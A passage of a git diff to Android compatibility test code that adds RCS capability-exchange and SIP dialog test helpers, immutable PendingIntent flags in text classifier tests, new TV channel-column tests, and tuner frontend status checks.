+import android.telephony.ims.cts.TestImsService.DeviceCapPublishListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
+import android.util.Log;
+
+import java.util.concurrent.Executor;
+
+/**
+ * A implementation class of RcsCapabilityExchangeImplBase for the TestRcsFeature.
+ */
+public class TestRcsCapabilityExchangeImpl extends RcsCapabilityExchangeImplBase {
+
+    private static final String LOG_TAG = "TestRcsCapExchangeImpl";
+
+    @FunctionalInterface
+    public interface PublishOperation {
+        void execute(DeviceCapPublishListener listener, String pidfXml, PublishResponseCallback cb)
+                throws ImsException;
+    }
+
+    private DeviceCapPublishListener mPublishListener;
+
+    // The operation of publishing capabilities
+    private PublishOperation mPublishOperation;
+
+    /**
+     * Create a new RcsCapabilityExchangeImplBase instance.
+     * @param executor The executor that remote calls from the framework will be called on.
+     */
+    public TestRcsCapabilityExchangeImpl(Executor executor, DeviceCapPublishListener listener) {
+        super(executor);
+        mPublishListener = listener;
+    }
+
+    public void setPublishOperator(PublishOperation operation) {
+        mPublishOperation = operation;
+    }
+
+    @Override
+    public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
+        try {
+            mPublishOperation.execute(mPublishListener, pidfXml, cb);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "publishCapabilities exception: " + e);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 3354158..b81f22f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -17,25 +17,41 @@
 package android.telephony.ims.cts;
 
 import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
 import android.util.Log;
 
+import java.util.concurrent.Executor;
+
 public class TestRcsFeature extends RcsFeature {
+
     private static final String TAG = "CtsTestImsService";
 
     private final TestImsService.ReadyListener mReadyListener;
     private final TestImsService.RemovedListener mRemovedListener;
     private final TestImsService.CapabilitiesSetListener mCapSetListener;
+    private final TestImsService.RcsCapabilitySetListener mRcsCapabilitySetListener;
+
+    private TestRcsCapabilityExchangeImpl mCapExchangeImpl;
+    private CapabilityExchangeEventListener mCapEventListener;
+    private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
 
     TestRcsFeature(TestImsService.ReadyListener readyListener,
             TestImsService.RemovedListener listener,
-            TestImsService.CapabilitiesSetListener setListener) {
+            TestImsService.CapabilitiesSetListener setListener,
+            TestImsService.RcsCapabilitySetListener uceCallbackListener) {
         mReadyListener = readyListener;
         mRemovedListener = listener;
         mCapSetListener = setListener;
+        mRcsCapabilitySetListener = uceCallbackListener;
 
         setFeatureState(STATE_READY);
     }
 
+    public void setDeviceCapPublishListener(TestImsService.DeviceCapPublishListener listener) {
+        mDeviceCapPublishListener = listener;
+    }
+
     @Override
     public void onFeatureReady() {
         if (ImsUtils.VDBG) {
@@ -51,4 +67,30 @@
         }
         mRemovedListener.onRemoved();
     }
+
+    public RcsCapabilityExchangeImplBase createCapabilityExchangeImpl(Executor executor,
+            CapabilityExchangeEventListener listener) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.createCapabilityExchangeImpl called");
+        }
+        mCapEventListener = listener;
+        mCapExchangeImpl = new TestRcsCapabilityExchangeImpl(executor, mDeviceCapPublishListener);
+        mRcsCapabilitySetListener.onSet();
+        return mCapExchangeImpl;
+    }
+
+    public void removeCapabilityExchangeImpl(RcsCapabilityExchangeImplBase capExchangeImpl) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.removeCapabilityExchangeImpl called");
+        }
+        mRcsCapabilitySetListener.onSet();
+    }
+
+    public CapabilityExchangeEventListener getEventListener() {
+        return mCapEventListener;
+    }
+
+    public TestRcsCapabilityExchangeImpl getRcsCapabilityExchangeImpl() {
+        return mCapExchangeImpl;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
index 3d06dce..729efb9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
@@ -48,6 +48,7 @@
     // Pair is <transactionId, error reason>
     private final LinkedBlockingQueue<Pair<String, Integer>> mReceivedMessageAcks =
             new LinkedBlockingQueue<>();
+    private final LinkedBlockingQueue<String> mCloseDialogRequests = new LinkedBlockingQueue<>();
     private int mSendMessageDenyReason = -1;
 
     public TestSipDelegate(int sub, DelegateRequest request, DelegateStateCallback cb,
@@ -73,7 +74,7 @@
     @Override
     public void closeDialog(@NonNull String callId) {
         if (ImsUtils.VDBG) Log.d(LOG_TAG, "closeDialog");
-        // TODO: Test once dialogs are tracked in AOSP.
+        mCloseDialogRequests.offer(callId);
     }
 
     @Override
@@ -93,6 +94,12 @@
         assertEquals(messageToVerify, m);
     }
 
+    public void verifyCloseDialog(String callIdToVerify) throws Exception {
+        String requestedCallId = mCloseDialogRequests.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(callIdToVerify, requestedCallId);
+    }
+
     public void setSendMessageDenyReason(int reason) {
         mSendMessageDenyReason = reason;
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index 6b3b134..ca7505f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -89,6 +89,13 @@
                 ImsException.class, "android.permission.MODIFY_PHONE_STATE");
     }
 
+    public void triggerFullNetworkRegistration(SipDelegateManager manager, int sipCode,
+            String sipReason) throws Exception {
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                manager, (m) -> m.triggerFullNetworkRegistration(connection, sipCode, sipReason),
+                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+    }
+
     @Override
     public void onMessageReceived(@NonNull SipMessage message) {
         if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageReceived");
@@ -145,6 +152,11 @@
         mLatch.countDown();
     }
 
+    public void sendCloseDialog(String callId) {
+        assertNotNull("SipDelegate was null when closing dialog", connection);
+        connection.closeDialog(callId);
+    }
+
     public void sendMessageAndVerifyCompletedSuccessfully(SipMessage messageToSend)
             throws Exception {
         assertNotNull("SipDelegate was null when sending message", connection);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
index 16d4265..bd66fca 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
@@ -40,7 +40,10 @@
     private static final String TEXT = "TEXT";
     private static final float FLOAT_TOLERANCE = 0.01f;
     private static final PendingIntent PENDING_INTENT = PendingIntent.getActivity(
-            InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
+            InstrumentationRegistry.getTargetContext(),
+            0,
+            new Intent(),
+            PendingIntent.FLAG_IMMUTABLE);
     private static final RemoteAction REMOTE_ACTION = new RemoteAction(
             Icon.createWithData(new byte[0], 0, 0),
             TEXT,
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
index 909f7de..d3d19bb 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -94,7 +94,12 @@
             TextSelection.Request request, CancellationSignal cancellationSignal,
             Callback<TextSelection> callback) {
         handleRequest(sessionId, "onSuggestSelection");
-        callback.onSuccess(TextClassifier.NO_OP.suggestSelection(request));
+        TextSelection.Builder textSelection =
+                new TextSelection.Builder(request.getStartIndex(), request.getEndIndex());
+        if (request.shouldIncludeTextClassification()) {
+            textSelection.setTextClassification(createTextClassification());
+        }
+        callback.onSuccess(textSelection.build());
     }
 
     @Override
@@ -102,14 +107,21 @@
             TextClassification.Request request, CancellationSignal cancellationSignal,
             Callback<TextClassification> callback) {
         handleRequest(sessionId, "onClassifyText");
-        final TextClassification classification = new TextClassification.Builder()
+        callback.onSuccess(createTextClassification());
+    }
+
+    private TextClassification createTextClassification() {
+        return new TextClassification.Builder()
                 .addAction(new RemoteAction(
                         ICON_RES,
                         "Test Action",
                         "Test Action",
-                        PendingIntent.getActivity(this, 0, new Intent(), 0)))
+                        PendingIntent.getActivity(
+                                this,
+                                0,
+                                new Intent(),
+                                PendingIntent.FLAG_IMMUTABLE)))
                 .build();
-        callback.onSuccess(classification);
     }
 
     @Override
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
index 77e9a4a..5f18026 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
@@ -64,12 +64,18 @@
         final float addressScore = 0.1f;
         final float emailScore = 0.9f;
         final PendingIntent intent1 = PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
+                InstrumentationRegistry.getTargetContext(),
+                0,
+                new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         final String label1 = "label1";
         final String description1 = "description1";
         final Icon icon1 = generateTestIcon(16, 16, Color.RED);
         final PendingIntent intent2 = PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
+                InstrumentationRegistry.getTargetContext(),
+                0,
+                new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         final String label2 = "label2";
         final String description2 = "description2";
         final Icon icon2 = generateTestIcon(16, 16, Color.GREEN);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index e04c879..3068260 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -32,6 +32,7 @@
 import android.view.textclassifier.TextClassificationSessionId;
 import android.view.textclassifier.TextClassifier;
 import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextSelection;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ApplicationProvider;
@@ -120,7 +121,7 @@
     }
 
     @Test
-    public void testResourceIconsRewrittenToContentUriIcons() throws Exception {
+    public void testResourceIconsRewrittenToContentUriIcons_classifyText() throws Exception {
         final TextClassifier tc = ApplicationProvider.getApplicationContext()
                 .getSystemService(TextClassificationManager.class)
                 .getTextClassifier();
@@ -133,6 +134,22 @@
         assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
     }
 
+    @Test
+    public void testResourceIconsRewrittenToContentUriIcons_suggestSelection() throws Exception {
+        final TextClassifier tc = ApplicationProvider.getApplicationContext()
+                .getSystemService(TextClassificationManager.class)
+                .getTextClassifier();
+        final TextSelection.Request request =
+                new TextSelection.Request.Builder("0800 123 4567", 0, 12)
+                        .setIncludeTextClassification(true)
+                        .build();
+
+        final TextSelection textSelection = tc.suggestSelection(request);
+        final Icon icon = textSelection.getTextClassification().getActions().get(0).getIcon();
+        assertThat(icon.getType()).isEqualTo(Icon.TYPE_URI);
+        assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
+    }
+
     /**
      * Start an Activity from another package that queries the device's TextClassifierService when
      * started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
@@ -154,8 +171,12 @@
                 "android.textclassifier.cts2.QueryTextClassifierServiceActivity"));
         outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
         final Intent broadcastIntent = new Intent(actionQueryActivityFinish);
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, broadcastIntent,
-                0);
+        final PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                    context,
+                    0,
+                    broadcastIntent,
+                    PendingIntent.FLAG_IMMUTABLE);
         outsideActivity.putExtra("finishBroadcast", pendingIntent);
         context.startActivity(outsideActivity);
 
diff --git a/tests/tests/time/OWNERS b/tests/tests/time/OWNERS
index ff89e51..a81fa72 100644
--- a/tests/tests/time/OWNERS
+++ b/tests/tests/time/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 847766
 nfuller@google.com
-vichang@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 6314ec5..055b75d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -62,6 +62,11 @@
         Channels.COLUMN_INTERNAL_PROVIDER_DATA,
         Channels.COLUMN_VERSION_NUMBER,
         Channels.COLUMN_INTERNAL_PROVIDER_ID,
+        Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER,
+        Channels.COLUMN_SCRAMBLED,
+        Channels.COLUMN_VIDEO_RESOLUTION,
+        Channels.COLUMN_CHANNEL_LIST_ID,
+        Channels.COLUMN_BROADCAST_GENRE,
     };
 
     private static final String[] PROGRAMS_PROJECTION = {
@@ -331,6 +336,11 @@
             verifyStringColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_ID);
             verifyBlobColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_DATA);
             verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_VERSION_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_SCRAMBLED);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_VIDEO_RESOLUTION);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_CHANNEL_LIST_ID);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_BROADCAST_GENRE);
         }
     }
 
@@ -560,6 +570,132 @@
         }
     }
 
+    public void testChannelsTableForRemoteControlKeyPresetNumber() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 100);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 200);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForScrambled() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_SCRAMBLED, 0);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_SCRAMBLED, 1);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForVideoResolution() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_SD);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_HD);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForChannelListId() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-0");
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-1");
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsForBroadcastGenre() {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        String[] newBroadcastGenre = new String[] {"Sports"};
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(newBroadcastGenre));
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+     public void testChannelsBroadcastGenreEncodeDecode() {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+        // Test: insert / Encode
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: Decode
+        try (Cursor c = mContentResolver.query(Channels.CONTENT_URI,
+                new String[] {Channels.COLUMN_BROADCAST_GENRE}, null, null, null)) {
+            assertNotNull(c);
+            assertEquals(1, c.getCount());
+            c.moveToNext();
+            MoreAsserts.assertEquals(broadcastGenre, Genres.decode(c.getString(0)));
+        }
+    }
+
     private void verifyProgram(Uri programUri, ContentValues expectedValues, long programId) {
         try (Cursor cursor = mContentResolver.query(
                 programUri, null, null, null, null)) {
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
index 5290da7..5b5949f 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
@@ -300,7 +300,7 @@
                         .setStandard(DvbsFrontendSettings.STANDARD_S2)
                         .setVcmMode(DvbsFrontendSettings.VCM_MODE_MANUAL)
                         .setScanType(DvbsFrontendSettings.SCAN_TYPE_DIRECT)
-                        .setCouldHandleDiseqcRxMessage(true)
+                        .setCanHandleDiseqcRxMessage(true)
                         .build();
 
         settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
@@ -317,13 +317,13 @@
         assertEquals(DvbsFrontendSettings.VCM_MODE_MANUAL, settings.getVcmMode());
         if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
             assertEquals(DvbsFrontendSettings.SCAN_TYPE_DIRECT, settings.getScanType());
-            assertTrue(settings.getCouldHandleDiseqcRxMessage());
+            assertTrue(settings.canHandleDiseqcRxMessage());
             assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
                     settings.getFrontendSpectralInversion());
             assertEquals(100, settings.getEndFrequency());
         } else {
             assertEquals(DvbsFrontendSettings.SCAN_TYPE_UNDEFINED, settings.getScanType());
-            assertFalse(settings.getCouldHandleDiseqcRxMessage());
+            assertFalse(settings.canHandleDiseqcRxMessage());
             assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
                     settings.getFrontendSpectralInversion());
             assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
@@ -545,7 +545,7 @@
     // TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
     public void testFrontendInfo() throws Exception {
         List<Integer> ids = mTuner.getFrontendIds();
-        List<FrontendInfo> infos = mTuner.getFrontendInfoList();
+        List<FrontendInfo> infos = mTuner.getAvailableFrontendInfos();
         Map<Integer, FrontendInfo> infoMap = new HashMap<>();
         for (FrontendInfo info : infos) {
             infoMap.put(info.getId(), info);
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index d37496d..fd57f37 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -197,94 +197,134 @@
 
         FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
         int res = mTuner.tune(createFrontendSettings(info));
-        FrontendStatus status = mTuner.getFrontendStatus(
-                new int[] {
-                        FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SNR,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_BER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_PER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_FEC,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_EWBS,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_AGC,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_LNA,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_MER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO,
-                        // Extended status types in Android 12
-                        FrontendStatus.FRONTEND_STATUS_TYPE_BERS,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_CODERATES,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_BANDWIDTH,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_GUARD_INTERVAL,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_TRANSMISSION_MODE,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_UEC,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_T2_SYSTEM_ID,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_INTERLEAVINGS,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_ISDBT_SEGMENTS,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_TS_DATA_RATES,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_MODULATIONS_EXT,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_ROLL_OFF,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_IS_MISO,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_IS_LINEAR,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_IS_SHORT_FRAMES
-                });
+
+        int[] statusCapabilities = info.getStatusCapabilities();
+        assertNotNull(statusCapabilities);
+        FrontendStatus status = mTuner.getFrontendStatus(statusCapabilities);
         assertNotNull(status);
 
-        status.isDemodLocked();
-        status.getSnr();
-        status.getBer();
-        status.getPer();
-        status.getPerBer();
-        status.getSignalQuality();
-        status.getSignalStrength();
-        status.getSymbolRate();
-        status.getInnerFec();
-        status.getModulation();
-        status.getSpectralInversion();
-        status.getLnbVoltage();
-        status.getPlpId();
-        status.isEwbs();
-        status.getAgc();
-        status.isLnaOn();
-        status.getLayerErrors();
-        status.getMer();
-        status.getFreqOffset();
-        status.getHierarchy();
-        status.isRfLocked();
-        Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
-        if (tuningInfos != null) {
-            for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
-                tuningInfo.getPlpId();
-                tuningInfo.isLocked();
-                tuningInfo.getUec();
+        for (int i = 0; i < statusCapabilities.length; i++) {
+            switch (statusCapabilities[i]) {
+                case FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK:
+                    status.isDemodLocked();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SNR:
+                    status.getSnr();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_BER:
+                    status.getBer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_PER:
+                    status.getPer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER:
+                    status.getPerBer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY:
+                    status.getSignalQuality();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH:
+                    status.getSignalStrength();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE:
+                    status.getSymbolRate();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_FEC:
+                    status.getInnerFec();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION:
+                    status.getModulation();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL:
+                    status.getSpectralInversion();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE:
+                    status.getLnbVoltage();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID:
+                    status.getPlpId();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_EWBS:
+                    status.isEwbs();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_AGC:
+                    status.getAgc();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_LNA:
+                    status.isLnaOn();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR:
+                    status.getLayerErrors();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_MER:
+                    status.getMer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET:
+                    status.getFreqOffset();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY:
+                    status.getHierarchy();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK:
+                    status.isRfLocked();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO:
+                    Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
+                    if (tuningInfos != null) {
+                        for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
+                            tuningInfo.getPlpId();
+                            tuningInfo.isLocked();
+                            tuningInfo.getUec();
+                        }
+                    }
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_BERS:
+                    status.getBers();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_CODERATES:
+                    status.getCodeRates();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_BANDWIDTH:
+                    status.getBandwidth();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_GUARD_INTERVAL:
+                    status.getGuardInterval();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_TRANSMISSION_MODE:
+                    status.getTransmissionMode();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_UEC:
+                    status.getUec();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_T2_SYSTEM_ID:
+                    status.getSystemId();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_INTERLEAVINGS:
+                    status.getInterleaving();
+                    break;
